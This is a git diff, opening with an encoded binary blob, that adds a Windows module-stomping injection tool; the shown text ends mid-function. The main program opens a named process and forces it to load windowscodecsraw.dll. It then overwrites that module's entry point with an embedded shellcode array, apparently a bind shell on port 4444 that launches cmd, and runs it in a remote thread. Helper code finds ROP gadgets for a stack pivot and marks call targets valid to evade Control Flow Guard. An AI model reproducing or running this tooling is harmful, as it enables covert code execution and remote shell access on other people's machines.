z1{2qjVj|8~T=Z3}vy;0>s`5@lN1&x61jh?c&n*J;wI%pdyU-{=oeRmAM)sx@>ibvw z(SY7}0#_%NdA6+ZKH@=&ch-m+w1nEaDk!@a8am5@+eT_wyOyr9N4ovPW$+6QTqA;v za5W83{8Sq_VZp{k0|Gm1-!L`&5GQ6HELF#>*hQF6maO;rAEs)mcnEW&4y>#~DWg9h z)`yRxTTrqxxqO8~72KH)jX_6Rx4gQ8&Ybvo-EAVF%x%#-{%*#Sl09PH5Q>XIXug)T z;!E}U9I=fv3M3rDmOJEEqoDo`(Z2h52*Ih(LZ83narQ4WS!1h|bHXwOV(cM2`=tBA ztVqcDv4Gs#t1U8|zZmHqsB_hSRDlt%@V!1{ij!CpOCGdFkDUgghfqXw51g%(>D!05KVR5UQnEuZ z3X9-;hpf>@Cdo2Bi4gZ$;3?C@%!4|+1+!;zN>bCBi#nVu)vv)g=VC<@d0z4>X1^Rf zeWF}MmIRZJfe8PbLCTp;V#H{A9^SO2t zt+2#q1F}865hL8XoJ*LO4Ws!v78B@A(IZCo6%aw?m$tazkIF3+u^>A}j0|3kYYqd|BK7j7kDF0^)ci60B#crXJroN6nm*f0ZnvPRX=3q!$s<7**8LMc3-8iXnOE{d@b5b!nLDvr?b$%ghS>Un%!W7ddM`640O%Pc z^@7#*bhxb8ER!?hKt|3Ql~ES5QH~cYhWXCt?X+I^w|Heq5aQEo*8XVrWjC!S6E2t3 zW}mIF%Cz@E`l+l^pU#Lst&B%rYAG6b70FOZbQM__O@v%kZ1=?IEcTKHOqcTX@A@?X zGeFa4x`nDGFp0#I8Hvj`!%-y}6ZJHl)oB=A9yxwtQHj2wSHtqk!xCYRDEx>JmsxI$ z64=hf{D`}^z>E5cj58M3)GS!g*`w>CgtsdSzf9ZUWo!%{`NhL3cdrl@h8Mr|F@33(V4#(@&22^IFZD z6Q5VQ1g2zryuL0Re-({ABy)CIV0)s3+vA>4xooQKuE25<=Jc%g=2xCJBLEPMYtF)7 zD`27BX#0TU49+FhgEcd$aT;qYW{BP-a?4vhPqCl4#%@X=+JH5BQ0G=h<_AA$LxGJVGeysQrcJ5@BL0<0fNflpoCrpSaD$=mgKOgFJk;qMpR8R!Ld@6k- zEO(y2TX4ficfYZzwx=iVWf@x%$`%hA2-PpxC;!x=Fr&7&XKb%uK%3G5mjDt%74z?& z8LX0w%gA!}It7lGXR5!RGBuC)8r+d;bnls1Ed9`0p!NFH*j%-k&dfAk79v?kwX070 z@Jzg^LCeP6Qn8Vb$kJRaVw7)!4oMO(1tZ#C=FGcXoiCne*Egppkj`Pe z#BrF>APMKgEF2tETX_P>o~3y&6L!4%gsdtXT%Rd;pTZYDw137R-K?)1r>&B`uM#KT zLO5`E69)9IGjbu_qF0=LrKa~xaUlReL;P}F z{*@Nwhx_u=bNQJQgedDd1XTtAeC+?8=C_}wV12&jWY^N<*@M)Udz1nyn8Tx7Si3*&VWAF zhL2Obv@Pb=)%_0U^Z>0WON4_dG{>rBZWxuG|Cv8ZSq9wo^T+6Abp2Xn-RYCTxEBy#Y;lVV#Q*^XiMvmBNA$7?9cJ zgxAtPYQeG;!shG`*YzdfS9%j`pp~^b@Q3r26Dw_%&4e6yOnWInw1O5ym4O*>F=|>Q z?zT{Rb%2dltQWb(9Cd%kzE-sK4#Py|L-@9fjvHT<2VVipmjF>19`ZF?QOHbg0|i3G zv+c|6^|a?Zi6d$-8abPEQG7>7p5`e`@4^6zA#J2=6ya;s)Tyj6xqWb%*bH%-n8>zu zn;BG_;NP2Zd|(A>2NVsaSG2vznsL(u8H&5U5*W?~#Ai00{m3-k_E7@0? zo`)$|SK+T*3Rt<54T!^T!t~6#87=<`d%>!408W9iq+K4LRDMTC?v*=|(Y~5c+-!?i zQXcBh?DpZ5_`O)ruq#@x|52^|I6l^)_{zgSDnV|0B-!3Z4i8uw!G3)@> z;3s(y(hY3wPPgg^Pa9`Xoc897PF|`*BBSH#o0rL1eO2asYvxgFE5#*o{%_DQCCNXZ z=E3%R(DDYury^)_X#vB}rV6alRZ|g!9~Di;nVL6?g>y#Qr+t=Om|Mbd@1n}cC+jnq zKf;O7V4-8PO{3sGWM0_;4PS(Oq-d9xN1) zTz^*|&{<2YqDo?g2c61UD_G=n(g3=8?xi!f)Zx|jO}L^YP{x!p|NGV?uS34wqpr3u zMW}wJ7~F)~Xm34-!Ja0vmh)+3EmNJ1-Ey8=+N*=Ew*gD@zGRJO_pZ@Mb^3A}W&?T> zj@O=-FrH#{b`E?#k5ig-vi!$zHY;f$DEhO0s_ZhYa>a=F950jgAL*X{Gh!9VpEj}y zzFFQO008LVBYsA#oPc_Yzoj}qND#D2VM6ylj=3U?Iz~tYKuqQ+C^;lgT1-tJT82p! z&w2Ja3Qgz;KpDp{@WxJXS+9Rjx;{;NP1=4r9D}}`X3{B0kCOJHPd`Mcf66e}^YyY; zZXav>muP4?^I*iGjFhQfq#5bu@^z@H=_M0BF?osv`{3H?>4sxG5HLCsXHu$R7`B>h zn*OpULF8$9N)_EenvSu4^=dUpFe-x}dqvo%a6NVja!Df3T=UqB;uT8l+}V87X!7+a z?kKRthedypPr;r~qTaQ8bqA7+d+I|*B`c@YihQW;7MC$8wT!njHc=CRED%Asi@$>t zsy{7?(&W)4`%R1xS2SL~ot6tdc1h}Z^s%(pWpZl5k;p1rs{Sj(Lr;jUwc4cxv^9=T zUPC;Y*Tt2LbF1ukpRH=2#07*rlHU8(5IqevzMjr~{q{;Jdr?rtQa3H~8s9HjZn_u! zdHuPtBPNeO*S@(L@H8)5x8~OUj5znvWQW1Mh_oF>o6MO&nx`j&6d}eK1TO>UM_b734fc|RqM0UR(JcEs}wBLL2@rc zr;Hg~+)n#zHVVX*$uh?4!w_hQ;m#RZ{KEqzyGG%FwtHYp-X^A@h1I{i5c;wOy)sN;thupnKLobj%_kSv{mq z{EY;yn*tgp_*A9mRd&{d64`yI%)5T&wId|>uW#gO8&MmU3Q8j7HO;E}!e#1f$_9KY#Y4J`ize1zVOD+q6yv)5o z;3gI)Ry2*DJQF6ANkX49#A4TA+2Xa8Co9srPs5QP9&%Ez@Q)ZDf!Q%fIv_>o0};ZQ z>GRxu>e{`yCcT)$b~apvn0zzjzlr&hQwC~T2-DE1R_LVVcWeW|1QS;Zi9Pl z7f8XC(yS7}a;c$k=YYkiDn+3ZVPq?gB z5fm-cM?#=(KP1wq8FE9D4L4_2_zt?X&U!=3%a_risl0(-03C$HA8YF)(`!tk+;Oy+ z7g`M$^p_q&bV0p}lVoB>HVG0MQ)cSs!cut2pQ%W^fkW-^%q?Fp#50x;{_RG@6^MwwvuacG<)o3*Tk&zwH|Ks^i3J|BrFulqvDGCh++&6D*3TgP zy6j|W>NsW6l=_m37V%@PFQ;H2;+MV8<~E38?X7%#&yd)1?U0`uo?(V%8-2dle9w{_ zhS|>sw=v7fbkPGtIOvpRjJDbk!_ftlIr%JN?=%!tRKFw!v+jOlJ!0fRXLCZ+J0rNi z*|!$f=%@gNTum`0FR@oysJfYhBVe1JR8_EaWMm30g0ej?rI{Ef043m6!Z6y$OWkjy z{-CCuQ-DOd9CYiHF~5Af(1jC)yMfZeVVSXwKan!|Rz`YkWFi0QAFZ5&nayAcusXYd z)fw$?>ilzj^MAd9e<|~iZFP*6Y{!oWyYxMh^s(5WbzdI`$pVu$l>uT{!tiwa`t7IM z4F8)IdOonO^i0AXj+R<;V zaXaXztkJc!pRcc6VaejH9k$3v4MEYDtP#m7-1DW#Qez!J zuw_2V)+-7B5OE*k7u2-YbI)Fh-n}ftcve#FB7cI@@&bd^0jEQ2y<1{k_p6PffFr1$ z*YQ5h>u?pK=V&&Z@=^L0(Pz=ik$BaAZfqlP$78++9`Ac$c!=Q~o9qVPoBVtLzV1`k zmB#G6j6~RyeCShR&-np^*UP#&``6F5CmVS7$ds@OSIQDAIr*D&jsoecp=54Nda0-(WSB?d$dCp5Q$bx;T9 zhYtQ(G=;&|70}XNN6Ez+Xs7iZDFpbj@O#++ zU)4{h-#Pv~5!~kRN>}i;ukrox%zrQGJb%Frt*q>Uwm%=Vf1*!_^{`37*M15<>AzPl zCi52>XlY;x#@qdq_#U?n7RABv88G~ZP5Y}P$^BOOf5rPoB7ds~gNVVB#QOyX@1ZFE zh5uI@7z1?;{&P=B$VfP?El@9|#|)jz?1kG=hZ0sxmZ5P&}; zaet!!3`YFIlQ8^M^&g>$KNf}e-9`8N$_{W x`F8?tw%-KsKW6lw@V^@>zr&$9e~16uY>|_E0XE\n"); +} + +int wmain(int argc, TCHAR *argv[]) +{ + if (argc != 3) + { + doUsage(); + return -1; + } + + TCHAR* targetProcessName = argv[1]; + DWORD targetPid = getPIDForProcessByName(targetProcessName); + if (targetPid == 0) + { + printf("Can't find process '%S'\n", targetProcessName); + return -1; + } + + if (!EnableDebugPrivilege(TRUE)) + { + printf("Couldn't enable debug privilege\n"); + return -1; + } + + HANDLE toScanHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_ALL_ACCESS, FALSE, targetPid); + if (toScanHandle == NULL) + { + printf("Couldn't open target process, gle %d\n", GetLastError()); + return -1; + } + + // First, convince the target to load the library we're going to stomp on top of. We just inject a thread to LoadLibraryA. + void* moduleToStompBase = injectLoadLibrary(toScanHandle, L"windowscodecsraw.dll"); + + moduleInMemory targetModule = moduleInMemory(toScanHandle, moduleToStompBase); + + targetModule.writeToModule(buf, targetModule.entrypoint, sizeof(buf)); + targetModule.injectThread(targetModule.entrypoint, NULL, 0); +} diff --git a/inject_simple/inject_simple.vcxproj b/inject_simple/inject_simple.vcxproj new file mode 100644 index 0000000..a49f092 --- /dev/null +++ b/inject_simple/inject_simple.vcxproj @@ -0,0 +1,178 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {5C90611E-0874-4618-9C3D-B1385C83FBDF} + Win32Proj + injectsimple + 10.0.17763.0 + + + + Application + true + v141 + Unicode + false + + + Application + false + v141 + true + Unicode + false + + + Application + true + v141 + Unicode + false + + + Application + false + v141 + true + Unicode + false + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + pch.h + + + Console + true + + + + + Use + Level3 + Disabled + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + pch.h + + + Console + true + + + + + Use + Level3 + MaxSpeed + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + pch.h + + + Console + true + true + true + + + + + Use + Level3 + MaxSpeed + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + pch.h + + + Console + true + true + true + + + + + + + + + + Create + Create + Create + Create + + + + + {171d6509-8ba1-489e-bb38-b3db2c9b53bb} + + + + + + \ No newline at end of file diff --git a/inject_simple/pch.cpp b/inject_simple/pch.cpp new file mode 100644 index 0000000..3a3d12b --- /dev/null +++ b/inject_simple/pch.cpp @@ -0,0 +1,5 @@ +// pch.cpp: source file corresponding to pre-compiled header; necessary for compilation to succeed + +#include "pch.h" + +// In general, ignore this file, but keep it around if you are using pre-compiled headers. diff --git a/inject_simple/pch.h b/inject_simple/pch.h new file mode 100644 index 0000000..3379623 --- /dev/null +++ b/inject_simple/pch.h @@ -0,0 +1,6 @@ +#ifndef PCH_H +#define PCH_H + +#include + +#endif //PCH_H diff --git a/inject_simple/shellcode.h b/inject_simple/shellcode.h new file mode 100644 index 0000000..8ccebc9 --- /dev/null +++ b/inject_simple/shellcode.h @@ -0,0 +1,36 @@ + +unsigned char buf[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" +"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00" +"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\x00\x00\x00\x00\x41\x54" +"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c" +"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff" +"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2" +"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48" +"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\xc2" +"\xdb\x37\x67\xff\xd5\x48\x31\xd2\x48\x89\xf9\x41\xba\xb7\xe9" +"\x38\xff\xff\xd5\x4d\x31\xc0\x48\x31\xd2\x48\x89\xf9\x41\xba" +"\x74\xec\x3b\xe1\xff\xd5\x48\x89\xf9\x48\x89\xc7\x41\xba\x75" +"\x6e\x4d\x61\xff\xd5\x48\x81\xc4\xa0\x02\x00\x00\x49\xb8\x63" +"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57" +"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44" +"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6" +"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff" +"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5" +"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" +"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48" +"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13" +"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"; diff --git a/injectionUtils/injectionUtils.vcxproj b/injectionUtils/injectionUtils.vcxproj new file mode 100644 index 0000000..d624358 --- /dev/null +++ b/injectionUtils/injectionUtils.vcxproj @@ -0,0 +1,181 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {171D6509-8BA1-489E-BB38-B3DB2C9B53BB} + Win32Proj + injectionUtils + 10.0.17763.0 + + + + StaticLibrary + true + v141 + Unicode + + + StaticLibrary + false + v141 + true + Unicode + + + StaticLibrary + true + v141 + Unicode + + + StaticLibrary + false + v141 + true + Unicode + false + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + true + _DEBUG;_LIB;%(PreprocessorDefinitions) + true + + + Windows + true + + + Shlwapi.lib + + + + + Use + Level3 + Disabled + true + WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions) + true + + + Windows + true + + + Shlwapi.lib + + + + + Use + Level3 + MaxSpeed + true + true + true + WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions) + true + + + Windows + true + true + true + + + Shlwapi.lib + + + + + Use + Level3 + MaxSpeed + true + true + true + NDEBUG;_LIB;%(PreprocessorDefinitions) + true + + + Windows + true + true + true + + + Shlwapi.lib + + + + + + + + + + + + Create + Create + Create + Create + + + + + + + \ No newline at end of file diff --git a/injectionUtils/moduleManipulation.cpp b/injectionUtils/moduleManipulation.cpp new file mode 100644 index 0000000..7f7c462 --- /dev/null +++ b/injectionUtils/moduleManipulation.cpp @@ -0,0 +1,724 @@ +#include "stdafx.h" + +#include +#include +#include +#include + +#include "moduleManipulation.h" +#include "public.h" + +#include +#include +#include +#include + +std::map moduleInMemory::gadgetCache; + +section::section() +{ + name = std::wstring(L"(none)"); + Characteristics = VirtualAddress = VirtualSize = 0; +}; + +section::section(IMAGE_SECTION_HEADER* hdr) +{ + // Convert the section name to unicode so we can use it. + // Don't forget that the section name doesn't need to be null-terminated - if it is + // 8 bytes long then we must not read any further. + std::wstring_convert> converter; + std::wstring secName = std::wstring(converter.from_bytes((char*)hdr->Name, (char*)&hdr->Name[7])); + size_t nullPos = secName.find(L'\0'); + if (nullPos != secName.npos) + secName = secName.substr(0, nullPos); + name = secName; + Characteristics = hdr->Characteristics; + PhysicalAddress = hdr->Misc.PhysicalAddress; + VirtualAddress = hdr->VirtualAddress; + VirtualSize = hdr->Misc.VirtualSize; +} + +relocation::relocation(unsigned long long newTargetSite, unsigned long long newFixedUpValue, unsigned int newSize) +{ + targetSite = newTargetSite; + fixedUpValue = newFixedUpValue; + size = newSize; +} + +exportedFunc::exportedFunc(std::wstring functionName, std::wstring forwardedModuleName, std::wstring forwardedFunctionName) +{ + this->functionName = functionName; + this->functionPointerSite = 0; + this->functionPointerRVA = 0; + this->forwardedModuleName = forwardedModuleName; + this->forwardedFunctionName = forwardedFunctionName; + isForwarded = TRUE; +}; + +exportedFunc::exportedFunc(std::wstring functionName, unsigned long long functionPointerSite, unsigned long long functionPointerRVA) +{ + this->functionName = functionName; + this->functionPointerSite = functionPointerSite; + this->functionPointerRVA = functionPointerRVA; + isForwarded = FALSE; +}; + + +importedFunc::importedFunc(std::wstring moduleName, std::wstring functionName, unsigned long long functionPointerSite, unsigned long long functionPointerRVA) + : exportedFunc(functionName, functionPointerSite, functionPointerRVA) +{ + this->moduleName = moduleName; +}; + +moduleInMemory::moduleInMemory(HANDLE targetProcessHandle, std::wstring targetModuleName) : targetProcess(targetProcessHandle) +{ + unsigned char* moduleBase = getModuleBase(targetProcess, targetModuleName.c_str()); + if (moduleBase == NULL) + { + std::wstringstream os(L""); + os << "Failed to find module " << targetModuleName; + throw errorMaker::wruntime_error(os.str()); + } + targetModuleBase = moduleBase; + + commonInit(); +} + +moduleInMemory::moduleInMemory(HANDLE targetProcessHandle, void* targetModuleBase) : targetProcess(targetProcessHandle), targetModuleBase(targetModuleBase) +{ + commonInit(); +} + +void moduleInMemory::commonInit() +{ + // Load an unexported function we need in order to disable CFG + SetProcessValidCallTargets_ = (SetProcessValidCallTargetsType)GetProcAddress(LoadLibrary(L"Kernelbase"), "SetProcessValidCallTargets"); + if (SetProcessValidCallTargets_ == NULL) + throw std::exception("Cannot resolve Kernelbase!SetProcessValidCallTargets\n"); + + processModule(); +} + +unsigned long long moduleInMemory::resolveExport(std::wstring importName) +{ + exportedFunc* exp = this->getExport(importName.c_str()); + + if (!exp->isForwarded) + return exp->functionPointerRVA + ((unsigned long long)this->targetModuleBase); + + moduleInMemory* forwardModule = NULL; + while (exp->isForwarded) + { + moduleInMemory* tmp2 = new moduleInMemory(targetProcess, getModuleBase(targetProcess, exp->forwardedModuleName.c_str())); + exp = tmp2->getExport(exp->forwardedFunctionName); + if (forwardModule != NULL) + delete forwardModule; + forwardModule = tmp2; + } + unsigned long long toRet; + toRet = exp->functionPointerRVA + ((unsigned long long)forwardModule->targetModuleBase); + delete forwardModule; + return toRet; +} + +unsigned long long moduleInMemory::locateROPGadget(unsigned char* bytesToFind, unsigned int bytesToFindLen) +{ + ROPGadgetInfo toFind(this->targetModuleBase, bytesToFind, bytesToFindLen); + + // First, try our cache + std::map::iterator it = gadgetCache.find(toFind); + if (it != gadgetCache.end()) + { + // It's in the cache, so try that. The cache might be dirty so do check it before we return, and fall back to searching again if it + // isn't what we expect. + unsigned char* buf = (unsigned char*)malloc(toFind.bytesToFindLen); + readFromModule((*it).second - ((unsigned long long)targetModuleBase), buf, bytesToFindLen); + if (memcmp(buf, toFind.bytesToFind, bytesToFindLen) == 0) + return (*it).second; + } + // Nope, not in the cache (or the cache is dirty). + unsigned long long toRet = locateROPGadgetUncached(&toFind); + gadgetCache.insert(std::pair(toFind, toRet)); + return toRet; +} + +unsigned long long moduleInMemory::locateROPGadgetUncached(ROPGadgetInfo* toFind) +{ + for (unsigned int sectIdx = 0; sectIdx < sections.size(); sectIdx++) + { + section* sect = §ions[sectIdx]; + if (!(sect->Characteristics & IMAGE_SCN_MEM_EXECUTE)) + continue; + + unsigned char* buf = (unsigned char*)malloc(toFind->bytesToFindLen); + for (unsigned int bytePtr = 0; bytePtr < sect->VirtualSize - toFind->bytesToFindLen; bytePtr++) + { + readFromModule(sect->VirtualAddress + bytePtr, buf, toFind->bytesToFindLen); + if (memcmp(buf, toFind->bytesToFind, toFind->bytesToFindLen) == 0) + return sect->VirtualAddress + bytePtr + ((unsigned long long)targetModuleBase); + } + } + throw std::exception("Cannot locate ROP gadget :("); +} + +unsigned long long moduleInMemory::addModuleBase(unsigned long long toAdd) +{ + return (((unsigned long long)targetModuleBase) + toAdd); +} + +void moduleInMemory::injectThread(unsigned long long startRVA, unsigned long long* args, unsigned int argCount, bool waitForReturn) +{ + // The based address we're calling + unsigned long long targetAddress = addModuleBase(startRVA); + + // Allocate a stack for our injected thread. + stackBuilder stack(targetProcess, 0x10000); + + // We will need to find a couple functions from kernelbase.dll, which our "shellcode" will use. + moduleInMemory kernelBase(targetProcess, L"kernelbase.dll"); + unsigned long long exitThread = kernelBase.resolveExport(L"ExitThread"); + + stack.push(exitThread); + stack.push(targetAddress); + + stack.writeToProcess(); + + // Make a new thread, suspended. We will set its stack and RIP values later on, before we resume it. We just supply bogus ones here. + DWORD tid; + HANDLE s = CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)NULL, NULL, CREATE_SUSPENDED, &tid); + if (!s) + throw std::runtime_error("CreateRemoteThread failed"); + + // Somewhat annoyingly, we can't alter the stack pointer via SetThreadContext until the new thread has been resumed. We need to use a + // ROP-style stack pivot in order to set it. + // We use this gadget: + // 49 8b e3 mov rsp, r11 + // 41 5e pop r14 + // c3 ret + unsigned char gadgetCode[] = { + 0x49, 0x8b, 0xe3, + 0x41, 0x5e, + 0xc3 + }; + unsigned long long stackPivot = kernelBase.locateROPGadget(gadgetCode, sizeof(gadgetCode)); + + // We can now set our new thread to the RIP location we want, and set registers with any arguments. + CONTEXT ctx; + ctx.ContextFlags = CONTEXT_ALL; + if (!GetThreadContext(s, &ctx)) + throw std::runtime_error("GetThreadContext failed"); + + if (argCount > 0) + ctx.Rcx = args[0]; + if (argCount > 1) + ctx.Rdx = args[1]; + if (argCount > 2) + ctx.R8 = args[2]; + if (argCount > 3) + ctx.R9 = args[3]; + ctx.R11 = stack.getPtrToTopOfStack() - 8; + ctx.Rip = stackPivot; + + SetThreadContext(s, &ctx); + + ResumeThread(s); + + if (waitForReturn) + WaitForSingleObject(s, INFINITE); +} + +void moduleInMemory::markCFGValid(unsigned long long ptrToMarkValid) +{ + CFG_CALL_TARGET_INFO info; + info.Flags = CFG_CALL_TARGET_VALID; + info.Offset = ptrToMarkValid; + + if (!SetProcessValidCallTargets_(targetProcess, (void*)targetModuleBase, sizeOfImage, 1, &info)) + throw std::exception("SetProcessValidCallTargets failed"); +} + +section* moduleInMemory::getSectionForAddress(unsigned long long toFind) +{ + unsigned long long RVA = toFind - (unsigned long long)targetModuleBase; + for (unsigned int sectIndex = 0; sectIndex < sections.size(); sectIndex++) + { + section sect = sections[sectIndex]; + if (RVA >= sect.VirtualAddress && + RVA <= sect.VirtualAddress + sect.VirtualSize) + { + return §ions[sectIndex]; + } + } + + return NULL; +} + +section* moduleInMemory::getSectionByName(std::wstring toFind) +{ + for (unsigned int sectIndex = 0; sectIndex < sections.size(); sectIndex++) + { + section sect = sections[sectIndex]; + if (sect.name == toFind.c_str()) + return §ions[sectIndex]; + } + return NULL; +} + +void moduleInMemory::readFromModule(unsigned long long srcAddress, void* outBuf, SIZE_T bytesToRead) +{ + SIZE_T bytesActuallyRead; + int s = ReadProcessMemory(targetProcess, &((unsigned char*)targetModuleBase)[srcAddress], outBuf, bytesToRead, &bytesActuallyRead); + if (!s) + { + std::ostringstream os(""); + os << "Failed ReadProcessMemory of " << bytesToRead << " bytes starting from " << std::hex << targetModuleBase << "+" << srcAddress << + " : read only " << std::dec << bytesActuallyRead << " of " << bytesToRead << ", GLE " << GetLastError(); + throw std::runtime_error(os.str()); + } +} + +std::wstring moduleInMemory::readStringFromModule(unsigned long long srcAddress) +{ + std::wostringstream os; + + // Pretty ineffecient since we read a byte at a time. + int n = 0; + char moduleNameLetter; + do + { + readFromModule(srcAddress + n, &moduleNameLetter, 1); + if (moduleNameLetter != 0) + os << moduleNameLetter; + n++; + } while (moduleNameLetter != 0); + + return os.str(); +} + +void moduleInMemory::writeToModule(void* srcData, unsigned long long destAddress, SIZE_T bytesToWrite) +{ + unsigned long long srcCursor = (unsigned long long)srcData; + unsigned long long dstBased = (unsigned long long)&((unsigned char*)targetModuleBase)[destAddress]; + + // Write a page at a time, checking and changing permissions if needed. + while (bytesToWrite > 0) + { + unsigned long long toWriteThisPage = bytesToWrite; + if (toWriteThisPage > 0x1000) + toWriteThisPage = 0x1000; + + // printf("Write 0x%08llx bytes at 0x%016llx\n", toWriteThisPage, dstBased); + + // Make it writable + DWORD oldPerms; + if (!VirtualProtectEx(targetProcess, (PVOID*)dstBased, toWriteThisPage, PAGE_EXECUTE_READWRITE, &oldPerms)) + throw std::runtime_error("oh no"); + + writeToModuleWithoutPermissionCheck((void*)srcCursor, dstBased, toWriteThisPage); + + // Restore the previous permissions + if (!VirtualProtectEx(targetProcess, (PVOID*)dstBased, toWriteThisPage, oldPerms, &oldPerms)) + throw std::runtime_error("oh no"); + + if (bytesToWrite < toWriteThisPage) + break; + bytesToWrite -= toWriteThisPage; + srcCursor += toWriteThisPage; + dstBased += toWriteThisPage; + } +} + +importedFunc* moduleInMemory::getImport(std::wstring moduleName, std::wstring functionName) +{ + for (unsigned int n = 0; n < imports.size(); n++) + { + if ((imports[n].functionName == functionName) && + (imports[n].moduleName == moduleName)) + return &imports[n]; + } + return NULL; +} + +BOOL moduleInMemory::hasExport(std::wstring functionName) +{ + for (unsigned int n = 0; n < exports.size(); n++) + { + if (exports[n].functionName == functionName) + return true; + } + return false; +} + +exportedFunc* moduleInMemory::getExport(std::wstring functionName) +{ + for (unsigned int n = 0; n < exports.size(); n++) + { + if (exports[n].functionName == functionName) + return &exports[n]; + } + std::wstringstream os(L""); + os << "Failed to find export '" << functionName << "' "; + throw errorMaker::wruntime_error(&os); +} + +moduleInMemory::moduleInMemory() +{ + +} + +void moduleInMemory::processModule() +{ + IMAGE_DOS_HEADER mz; + readFromModule(0, &mz, sizeof(mz)); + if (mz.e_magic != IMAGE_DOS_SIGNATURE) + throw std::runtime_error("Module has incorrect MZ signature"); + + IMAGE_NT_HEADERS pe; + readFromModule(mz.e_lfanew, &pe, sizeof(pe)); + if (pe.Signature != IMAGE_NT_SIGNATURE) + throw std::runtime_error("Module has incorrect PE signature"); + + this->entrypoint = pe.OptionalHeader.AddressOfEntryPoint; + + // Sections start directly after the PE. + unsigned long long sectPtr = mz.e_lfanew + FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pe.FileHeader.SizeOfOptionalHeader; + + for (unsigned int sectionIndex = 0; sectionIndex < pe.FileHeader.NumberOfSections; sectionIndex++) + { + IMAGE_SECTION_HEADER sect; + readFromModule(sectPtr, §, sizeof(IMAGE_SECTION_HEADER)); + sections.push_back(section(§)); + sectPtr += sizeof(IMAGE_SECTION_HEADER); + } + setPEFeatures(&pe); + processModuleImports(&pe); + processModuleExports(&pe); + processModuleRelocs(&pe); + processModuleTLSCallbacks(&pe); +} + +void moduleInMemory::setPEFeatures(IMAGE_NT_HEADERS *pe) +{ + preferredBaseAddress = pe->OptionalHeader.ImageBase; + sizeOfImage = pe->OptionalHeader.SizeOfImage; + unsigned int numOfDataDirectories = pe->OptionalHeader.NumberOfRvaAndSizes; + hasImports = (numOfDataDirectories - 1 >= IMAGE_DIRECTORY_ENTRY_IMPORT); + hasExports = (numOfDataDirectories - 1 >= IMAGE_DIRECTORY_ENTRY_EXPORT); + hasTLS = (numOfDataDirectories - 1 >= IMAGE_DIRECTORY_ENTRY_TLS); + // Some compilers emit a zero'ed out TLS data directory to signify the absence of TLS data. + if (hasTLS) + { + if (pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size == 0) + hasTLS = false; + } +} + +void moduleInMemory::processModuleImports(IMAGE_NT_HEADERS *pe) +{ + if (!hasImports) + return; + + unsigned long long impDescPtr; + impDescPtr = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; + if (impDescPtr == 0) + return; + while (true) + { + IMAGE_IMPORT_DESCRIPTOR impDesc; + readFromModule(impDescPtr, &impDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)); + if 